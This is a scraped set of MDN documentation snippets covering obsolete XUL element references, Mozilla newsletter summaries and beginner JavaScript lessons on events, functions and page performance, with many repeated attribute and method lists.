events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements menu, menuitem, menulist, menupopup, menuseparator interfaces nsiaccessibleprovider ...
notification - Archive of obsolete content
e value of the priority attribute. type type: string gets and sets the value of the type attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...the value of the type attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
... related elements notificationbox ...
param - Archive of obsolete content
the name of a parameter within the sql statement. this name should appear within the query preceded by a colon. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
rule - Archive of obsolete content
e or more child elements. parent type: element tag name if set, the rule will only match the corresponding tag. this may be used to have separate rules for leaf and container nodes with different tags. parsetype type: string if this attribute is set to integer, the rule will only match rdf nodes with a parse type of integer. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollbar - Archive of obsolete content
ger the maximum position of the scrollbar. the default value is 100. pageincrement type: integer the amount by which the value of the curpos or value attribute changes when the tray of the scroll bar (the area in which the scroll bar thumb moves) is clicked, or when the page up or page down keys are pressed. the default value is 10. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
splitter - Archive of obsolete content
ve state="collapsed" and collapse="both", determines which direction the splitter is actually collapsed in. since collapse="both" is a gecko 1.9+ feature, this will have no effect on earlier versions. before the element immediately before the splitter is collapsed. after the element immediately after the splitter is collapsed. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...these classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme. tree-splitter this splitter is intended to be used in ...
<statusbarpanel> - Archive of obsolete content
t, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. properties image type: image url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...these classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme. « xul reference home statusbarpanel-iconic use this ...
treecell - Archive of obsolete content
); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
... ...
treecol - Archive of obsolete content
th of the tree column. the value should not include a unit as all values are in pixels. specifying widths for your columns causes gecko to allow the tree to be scrolled horizontally if it is wider than the available space. properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...this class should be used instead of changing the style of the element directly since it will fit more naturally with the user's selected theme. treecol-image use this class to have an image app...
treeitem - Archive of obsolete content
ribute should be placed on the element where content generation should begin. thus, it should be placed on an element that is a descendant of a template. the value should be set to rdf:*. elements that appear inside the element with the attribute will be repeated for each node in the rdf datasource. elements outside will appear only once. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
... ...
wizard - Archive of obsolete content
t than pageindex, because pages are not necessarily navigated in order. title type: string the title that appears at the top of the wizard. this is overridden by the label attribute on the individual pages. wizardpages type: dom nodelist of wizardpage elements this property holds the list of wizardpage elements in the wizard. ...
...string the title that appears at the top of the wizard. this is overridden by the label attribute on the individual pages. wizardpages type: dom nodelist of wizardpage elements this property holds the list of wizardpage elements in the wizard. ...
...this is equivalent to pressing the next button. the canadvance property must be set to true for the page to be changed. the pageid argument allows you to spec...
wizardpage - Archive of obsolete content
has a next attribute, all of the pages should have one, except that last page. pageid type: string wizardpage id this attribute should be set to a string that identifies the page's identifer in the wizard. this is used with the next attribute. the wizard always starts with the wizardpage that appears first in the wizard child list. ...
...ect, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related wizard ...
Building XULRunner with Python - Archive of obsolete content
ons.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); html <script> tags specify that python is used withtype="application/x-python" attribute. dom scripting is pretty much as with java script. for example def onload(): btntest = document.getelementbyid("btntest") btntest.add
eventlistener('command', ontest, false) def ontest(): window.alert('button activated') window.add
eventlistener('load', onload, false) one possible gotcha is that the default python path used to find modules that areimported explicitly includes the xulrunner executable directory and the directory that is current when xulrunner launches. however it does not include any path related to the xul app...
...y includes the xulrunner executable directory and the directory that is current when xulrunner launches. however it does not include any path related to the xul application being run. some work around will need to be found. unhandled exceptions are displayed in the javascript error console which can be opened usingxulrunner -jsconsole. one solution is to puttry .... except: print_exc() round any
event handler to print tracebacks to stdout and use a python console to catch that output. the jsconsole can also be open and used from code, for example (in javascript) function openjavascriptconsole() { var wwatch = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); wwatch.openwindow(null, "chrome://global...
...nts.interfaces.nsiconsoleservice) .logstringmessage(str); } function jserror(str) { components.utils.reporterror(str); } a final tip is to use task manager to check for a zombie xulrunner process after a crash. a zombie will keep old code open and cause confusion when you make changes and run xulrunner again. deploying python must be installed on the target machine. perhaps
eventually a xulrunner with a minimal python installation can be generated with something like py2exe or pyinstaller. untill then simply deploy thedist\bin folder and the xul application. don't copy any.pyo files that exist for python modules in the application or errors will occur on the target machine. it is possible to test for python in a batch file using something like rem check python 2.5 insta...
Archived Mozilla and build documentation - Archive of obsolete content
tself a power tool. searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks. building transformiix standalone calicalendarview an object implementing calicalendarview is generally intended to serve as a way of manipulating a set of dom nodes corresonding to a visual representation of cali
event and calitodo objects. because of this close association between methods and attributes on the one hand, and content on the other, calicalendarview implementations are particularly well suited to xbl. there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes. ...
...osted.org/gcc-python-plugin/. developing new mozilla features tips for contributing new features to mozilla. devmo 1.0 launch roadmap comments, ideas, questions and other discussion should be added on the devmo talk:1.0 launch roadmap page. further details on smaller tasks being done are available at user:dria:todo page. see also current
events. download manager improvements in firefox 3 firefox 3 offers improvements to the download manager that allow multiple progress listeners, use of the storage api for data management, download resuming, and more. in addition, you can augment or replace the download manager's user interface by implementing the new nsidownloadmanagerui interface. ...
...ation as well as an installable application extension. supporting private browsing mode firefox 3.5 introduced private browsing mode, in which potentially private information is not recorded. this includes cookies, history information, download information, and so forth. sxsw 2007 presentations presentations about the mozilla project given at the sxsw 2007
event in austin, texas. table cellmap the table layout use the cellmap for two purposes: table cellmap - border collapse this document describes the additional information that is stored for border collapse tables in the cellmap. table layout regression tests changes in layout, parser and content code can have unintended side effects, also known...
2006-11-03 - Archive of obsolete content
one this week. discussions google adsense plugin for firefox a user post a link to a plugin for displaying "adsense earning" within the status bar of the browser without logging into google. request to add option for removal of firefox profiles during setup or uninstall a user suggests an option to remove profiles during setup or uninstall. does firefox provide any classes/objects or
events to windows wmi ? a user asks if firefox provides any classes/objects or
events to windows wmi. no replies yet. source code for the nsinstall contained in moztools a user asks for advice about building nsinstall on windows. no replies yet. picking an alternate search engine for a particular search large discussion about how the search engine could be imporved. firing pageshow/pagehid...
... ff 1.5 hiding a user adds their "two cents" about firefox 1.5 now being easily available for download. suggestion: a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has changed. ...
... a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has changed. xml in firefox is a major problem a user draws attention to what they think is a bug, but the developers say it's proper browser behaviour. what gui lib was used for developing firefox 2.0 ? a user inquires about what gui library is used for developing firefox 2.0.
event in firefox similar to ondownloadcomplete
event in ie a user asks what even can be used that is similar to the ondownloadcomplete even in ie. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-04 - Archive of obsolete content
06 announcements none this week. discussions adsense plugin for firefox a user post a link to a plugin for displaying "adsense earning" within the status bar of the browser without logging into google. to add option for removal of firefox profiles during setup or uninstall a user suggests an option to remove profiles during setup or uninstall. firefox provide any classes/objects or
events to windows wmi ? a user asks if firefox provides any classes/objects or
events to windows wmi. no replies yet. code for the nsinstall contained in moztools a user asks for advice about building nsinstall on windows. no replies yet. an alternate search engine for a particular search large discussion about how the search engine could be imporved. pageshow/pagehide when users change tab...
... 1.5 hiding a user adds their "two cents" about firefox 1.5 now being easily available for download. suggestion: a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has changed. ...
...er suggests a feature to compare different versions of a webpage to see what has changed. in firefox is a major problem a user draws attention to what they think is a bug, but the developers say it's propwer browser behaviour. gui lib was used for developing firefox 2.0 ? a user inquires about what gui library is used for developing firefox 2.0. in firefox similar to ondownloadcomplete
event in ie a user asks what even can be used that is similar to the ondownloadcomplete even in ie. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to summary list ...
NPN_ForceRedraw - Archive of obsolete content
#include <npapi.h> void npn_forceredraw(npp instance); parameters the function has the following parameters: instance plug-in instance for which the function forces redrawing. ...
...ing parameters: instance plug-in instance for which the function forces redrawing. ...
...ces redrawing. description once a region of a windowless plugin has been invalidated with npn_invalidaterect() or npn_invalidateregion(), a plug-in can call npn_forceredraw() to force a paint message. ...
-ms-scroll-translation - Archive of obsolete content
slation takes place. inherit the initial value. the value is inherited from the element's parent element. formal syntax none | vertical-to-horizontal specifications not part of any specification. remarks this property requires windows 8 or later. this property has no effect on non-scrollable elements. if your javascript is listening for scroll wheel document object model (dom)
events, the
events that occur when the user scrolls vertically will always be vertical scroll
events, not horizontal scroll
events. similarly, the
events that occur when the user scrolls horizontally will always be horizontal scroll
events. this property enables you to change this behavior for vertical scroll
events. by setting the -ms-scroll-translation property to vertical-to-horizontal, you are spec...
... this property's initial value is inherit on all elements, except the <html> element, where it defaults to none. this property has no effect on keyboard interaction. ...
... this property's initial value is inherit on all elements, except the <html> element, where it defaults to none. this property has no effect on keyboard interaction. ...
Displaying notifications (deprecated) - Archive of obsolete content
ng the navigator.moznotification object's createnotification() method, as follows: var notification = navigator.moznotification.createnotification( "hey, check this out!", "this is a notification posted by " + "firefox 4. you should take some action. right now!"); this returns a new notification object, but does not actually display the notification. ...
...ion.createnotification( "hey, check this out!", "this is a notification posted by " + "firefox 4. you should take some action. right now!"); this returns a new notification object, but does not actually display the notification. this lets you configure the
event listeners before the notification is shown, if you need to be notified when the notification is dismissed. setting up
event listeners on the notification there are two
events you can listen to on created notifications: onclick this
event is fired when the user clicks (or taps) on the notification. onclose this
event is fired when the notification is closed (whether by being clicked or by some other means). note: if the notification is dismissed by the user clicking on it, both
events will get fired. for exa...
... to on created notifications: onclick this
event is fired when the user clicks (or taps) on the notification. onclose this
event is fired when the notification is closed (whether by being clicked or by some other means). note: if the notification is dismissed by the user clicking on it, both
events will get fired. ...
Gecko FAQ - Gecko Redirect 1
pected to support the following recommended open internet standards fully except for the areas noted below and open bugs documented in bugzilla: html 4.0 - full support except for: elements: bdo, basefont attributes: shape attribute on the a element, abbr, axis, headers, scope-row, scope-col, scope-rowgroup, scope-colgroup, charoff, datasrc, datafld, dataformat, datapagesize, summary,
event, dir, align on table columns, label attribute of option, alternate text of area elements, longdesc various metadata attributes: cite, datetime, lang, hreflang bidirectional text layout, which is only used in hebrew and arabic (ibm has begun work to add bidi support in a future release) style sheets css 1 - full support, except for: the application of styles to html col...
...dom 3 support is also planned for a future release. xml 1.0: full support, except for processing to manipulate default attributes rdf: full support, except for abouteach, abouteachprefix, and parsetype javascript 1.5, including ecma-262 edition 3 (ecmascript) compliance, except for date.todatestring and date.totimestring, which are not implemented tr...
... content layout bugs that may be related to a variety of specifications html 4.0 elements, form controls, frames, tables, and form submission bug reports marked with the html4 keyword "meta bug" for tracking outstanding issues with html 4.01 compliance css: style system component (see also bug reports marked with the css1, css2, and css3 keywords) dom: see dom0, dom1, dom2 and
event handling components xml rdf core javascript language interpreter (javascript engine) http 1.1 compliance bugs should generally be found on the networking, networking - general, and networking: cache components oji imagelib image library (see also jpeg image handling and png image handling) ssl-related bugs are filed on the crypto component for information about the known bugs of a specif...
Example 3 - Learn web development
dd('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; // ------------- // //
event binding // // ------------- // window.add
eventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.add
eventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option')...
...", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.add
eventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (option) { option.add
eventlistener('mouseover', function () { highlightoption(select, option); }); }); select.add
eventlistener('click', function (
event) { toggleoptlist(select); }, false); select.add
eventlistener('focus', function (
event) { activeselect(select, selectlist); }); select.add
eventlistener('blur', function (
event) { deactivateselect(select); }); ...
...seover', function () { highlightoption(select, option); }); }); select.add
eventlistener('click', function (
event) { toggleoptlist(select); }, false); select.add
eventlistener('focus', function (
event) { activeselect(select, selectlist); }); select.add
eventlistener('blur', function (
event) { deactivateselect(select); }); select.add
eventlistener('keyup', function (
event) { if (
event.keycode === 27) { deactivateselect(select); } }); }); }); result ...
Example 5 - Learn web development
other.setattribute('aria-selected', 'false'); }); optionlist[index].setattribute('aria-selected', 'true'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.previouselementsibling; return nativewidget.selectedindex; }; // ------------- // //
event binding // // ------------- // window.add
eventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.add
eventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option')...
...ad', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.previouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.add
eventlistener('mouseover', function () { highlightoption(select, option); }); option.add
eventlistener('click', function (
event) { updatevalue(select, index); }); }); select.add
eventlistener('click', function (
event) { toggleoptlist(select); }); select.add
eventlistener('focus', function (
event) { activeselect(select, selectlist); }); ...
...eover', function () { highlightoption(select, option); }); option.add
eventlistener('click', function (
event) { updatevalue(select, index); }); }); select.add
eventlistener('click', function (
event) { toggleoptlist(select); }); select.add
eventlistener('focus', function (
event) { activeselect(select, selectlist); }); select.add
eventlistener('blur', function (
event) { deactivateselect(select); }); select.add
eventlistener('keyup', function (
event) { var length = optionlist.length, index = getindex(select); if (
event.keycode === 27) { deactivateselect(select); } if (
event.keycode === 40 && index < length - 1) { index++; } if (
event.keycode === 38 && index > 0) { index--; } ...
Tips for authoring fast-loading HTML pages - Learn web development
ng compression features built into image-manipulation tools such as photoshop, or using a specialized tool such as compress jpeg or tiny png,. specify sizes for images and tables if the browser can immediately determine the height and/or width of your images and tables, it will be able to display a web page without having to reflow the content. this not only speeds the display of the page but pr
events annoying changes in a page's layout when the page completes loading. for this reason, height and width should be specified for images, whenever possible. tables should use the css selector: property combination: table-layout: fixed; and should specify widths of columns using the <col> and the <colgroup> elements. use lazy loading for images by default, imags are loaded eagerly; that is, ...
...enever possible. tables should use the css selector: property combination: table-layout: fixed; and should specify widths of columns using the <col> and the <colgroup> elements. use lazy loading for images by default, imags are loaded eagerly; that is, the image is fetched and rendered as soon as it's processed in the html. all eagerly loaded images are rendered before the document's load
event is sent. switching to lazy loading of images tells the browser to hold off on loading images until they're about to be needed to draw the visual viewport. to mark an image for lazy loading, specify its loading attribute with a value of lazy. with this set, the image will only be loaded when it's needed. <img href="./images/footerlogo.jpg" loading="lazy"> note that lazily-loaded images may not ...
... loading of images tells the browser to hold off on loading images until they're about to be needed to draw the visual viewport. to mark an image for lazy loading, specify its loading attribute with a value of lazy. with this set, the image will only be loaded when it's needed. <img href="./images/footerlogo.jpg" loading="lazy"> note that lazily-loaded images may not be available when the load
event is fired. you can determine if a given image is loaded by checking to see if the value of its boolean complete property is true. choose your user-agent requirements wisely to achieve the greatest improvements in page design, make sure that reasonable user-agent requirements are specified for projects. do not require your content to appear pixel-perfect in all browsers, especially not in down-ve...
Use JavaScript within a webpage - Learn web development
script usually, you'll be writing scripts in their own .js files. if you want to execute a .js script from your webpage, just use <script> with an src attribute pointing to the script file, using its url: <script src="path/to/my/script.js"></script> writing javascript within html you may also add javascript code between <script> tags rather than providing an src attribute. ...
... possible. for example, if you've implemented a nice javascript progress bar, make sure to supplement it with matching text percentages inside the html. likewise, your drop-down menus should be structured as unordered lists of links. make all functionality accessible from the keyboard. let users tab through all controls (e.g., links and form input) in a logical order. if you use pointer
events (like mouse
events or touch
events), duplicate the functionality with keyboard
events. test your site using a keyboard only. don't set nor even guess time limits. it takes extra time to navigate with the keyboard or hear content read out. you can hardly ever predict just how long it will take for users or browsers to complete an process (especially asynchronous actions such as loading r...
...if an animation lasts more than a couple seconds, give the user a way to cancel it. let users initiate interactions. that means, don't update content, redirect, or refresh automatically. don't use carousels or display popups without warning. have a plan b for users without javascript. people may have javascript turned off to improve speed and security, and users often face network issues that pr
event loading scripts. moreover, third-party scripts (ads, tracking scripts, browser extensions) might break your scripts. at a minimum, leave a short message with <noscript> like this: <noscript>to use this site, please enable javascript.</noscript> ideally, replicate the javascript functionality with html and server-side scripting when possible. if you're only looking for simple visual ef...
General asynchronous programming concepts - Learn web development
ve chunk of code without returning control to the browser, the browser can appear to be frozen. this is called blocking; the browser is blocked from continuing to handle user input and perform other tasks until the web app returns control of the processor. let's look at a couple of examples that show what we mean by blocking. ...
... processor. let's look at a couple of examples that show what we mean by blocking. ...
...ills the available <canvas> with 1 million blue circles. a "click me for alert" button that when clicked shows an alert message. function expensiveoperation() { for(let i = 0; i < 1000000; i++) { ctx.fillstyle = 'rgba(0,0,255, 0.2)'; ctx.beginpath(); ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degtorad(0), degtorad(360), false); ctx.fill() } } fillbtn.add
eventlistener('click', expensiveoperation); alertbtn.add
eventlistener('click', () => alert('you clicked me!') ); if you click the first button and then quickly click the second one, you'll see that the alert does not appear until the circles have finished being rendered. the first operation blocks the second one until it has finished running. note: ok, in our case, it is ugly and we are faking th...
Build your own function - Learn web development
ge inside the paragraph, and an 'x' inside the button. this button will be what needs to be clicked/activated when the user wants to close the message box. const msg = document.createelement('p'); msg.textcontent = 'this is a message box'; panel.appendchild(msg); const closebtn = document.createelement('button'); closebtn.textcontent = 'x'; panel.appendchild(closebtn); finally, we use an global
eventhandlers.onclick
event handler to make it so that when the button is clicked, some code is run to delete the whole panel from the page — to close the message box. briefly, the onclick handler is a property available on the button (or in fact, any element on the page) that can be set to a function to specify what code to run when the button is clicked. you'll learn a lot more about these in our ...
...we are making the onclick handler equal to an anonymous function, which contains the code to run when the button is clicked. the line inside the function uses the node.removechild() dom api function to specify that we want to remove a specific child element of the html element — in this case the panel <div>. ...
...ore work could be transplanted into a real project. in the next article we'll wrap up functions by explaining another essential related concept — return values. previous overview: building blocks next in this module making decisions in your code — conditionals looping code functions — reusable blocks of code build your own function function return values introduction to
events image gallery ...
Functions — reusable blocks of code - Learn web development
ee functions defined and invoked in slightly different ways. so far we have just created a function like so: function myfunction() { alert('hello'); } but you can also create a function that doesn't have a name: function() { alert('hello'); } this is called an anonymous function — it has no name! it also won't do anything on its own. you generally use an anonymous function along with an
event handler, for example the following would run the code inside the function whenever the associated button is clicked: const mybutton = document.queryselector('button'); mybutton.onclick = function() { alert('hello'); } the above example would require there to be a <button> element available on the page to select and click. you've already seen this structure a few times throughout the course, ...
...again, this looks something like this: mybutton.onclick = function() { alert('hello'); // i can put as much code // inside here as i want } function parameters some functions require parameters to be specified when you are invoking them — these are values that need to be included inside the function parentheses, which i...
...eting; this function could now be invoked using either of: mygreeting(); anothergreeting(); but this would just be confusing, so don't do it! when creating functions, it is better to just stick to this form: function mygreeting() { alert('hello'); } you will mainly use anonymous functions to just run a load of code in response to an
event firing — like a button being clicked — using an
event handler. again, this looks something like this: mybutton.onclick = function() { alert('hello'); // i can put as much code // inside here as i want } function parameters some functions require parameters to be specified when you are invoking them — these are values that need to be included inside the function parentheses, which it needs to do its job properly. note: parameters are som...
Image gallery - Learn web development
previous overview: building blocks now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and
events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript loops, functions, conditionals, and
events. starting point to get this assessment started, you should go and grab the zip file for the example, unzip it somewhere on your computer, and do the exercise locally to begin with. alternatively, you could use a site like jsbin or glitch to do your assessme...
... directory and its name is pic1.jpg, pic2.jpg, etc. adding an onclick handler to each thumbnail image in each loop iteration, you need to add an onclick handler to the current newimage — this handler should find the value of the src attribute of the current image. set the src attribute value of the displayed-img <img> to the src value passed in as a parameter. alternatively, you can add one
event listener to the thumb bar. writing a handler that runs the darken/lighten button that just leaves our darken/lighten <button> — we've already provided a line that stores a reference to the <button> in a constant called btn. you need to add an onclick handler that: checks the current class name set on the <button> — you can again achieve this by using getattribute(). if the class name is...
...rd to help someone with a coding problem if you can't see their code. a link to the actual task or assessment page, so we can find the question you want help with. previous overview: building blocks in this module making decisions in your code — conditionals looping code functions — reusable blocks of code build your own function function return values introduction to
events image gallery ...
Manipulating documents - Learn web development
